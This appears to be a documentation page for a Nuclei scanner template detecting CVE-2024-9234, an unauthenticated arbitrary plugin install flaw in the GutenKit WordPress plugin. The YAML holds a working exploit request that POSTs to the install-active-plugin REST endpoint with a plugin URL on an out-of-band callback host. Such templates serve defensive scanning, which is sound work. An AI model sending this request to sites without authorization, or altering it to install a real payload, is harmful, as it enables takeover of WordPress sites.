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GutenKit <= 2.1.0 - Arbitrary File Upload

ID: CVE-2024-9234

Severity: critical

Author: s4e-io

Tags: cve,cve2024,wordpress,wp-plugin,gutenkit,file-upload,intrusive

Description

Section titled “Description”

The GutenKit Page Builder Blocks, Patterns, and Templates for Gutenberg Block Editor plugin for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the install_and_activate_plugin_from_external() function (install-active-plugin REST API endpoint) in all versions up to, and including, 2.1.0. This makes it possible for unauthenticated attackers to install and activate arbitrary plugins, or utilize the functionality to upload arbitrary files spoofed like plugins.

YAML Source

Section titled “YAML Source”
id: CVE-2024-9234


info:
  name: GutenKit <= 2.1.0 - Arbitrary File Upload
  author: s4e-io
  severity: critical
  description: |
    The GutenKit Page Builder Blocks, Patterns, and Templates for Gutenberg Block Editor plugin for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the install_and_activate_plugin_from_external() function (install-active-plugin REST API endpoint) in all versions up to, and including, 2.1.0. This makes it possible for unauthenticated attackers to install and activate arbitrary plugins, or utilize the functionality to upload arbitrary files spoofed like plugins.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-9234
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/gutenkit-blocks-addon/gutenkit-210-unauthenticated-arbitrary-file-upload
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-9234
    cwe-id: CWE-862
    epss-score: 0.00045
    epss-percentile: 0.16482
  metadata:
    verified: true
    max-request: 2
    vendor: wpmet
    product: gutenkit
    framework: wordpress
    fofa-query: body="wp-content/plugins/gutenkit-blocks-addon"
  tags: cve,cve2024,wordpress,wp-plugin,gutenkit,file-upload,intrusive


variables:
  filename: "{{rand_text_alpha(12)}}"


flow: http(1) && http(2)


http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins/gutenkit-blocks-addon")'
          - 'status_code == 200'
        condition: and
        internal: true


  - raw:
      - |
        POST /wp-json/gutenkit/v1/install-active-plugin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        plugin=http://{{interactsh-url}}/{{filename}}.zip


    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Failed to unzip plugin", "success\":false")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
# digest: 490a0046304402205e695df58cc1f7abe51a2add17cf2b01bced2286e07b698cb42d2fd64ab8a3a1022005b33f1ee32b24e24d8a892dc148297392251fda1959ea38a9a52e680d3b259d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-9234.yaml"

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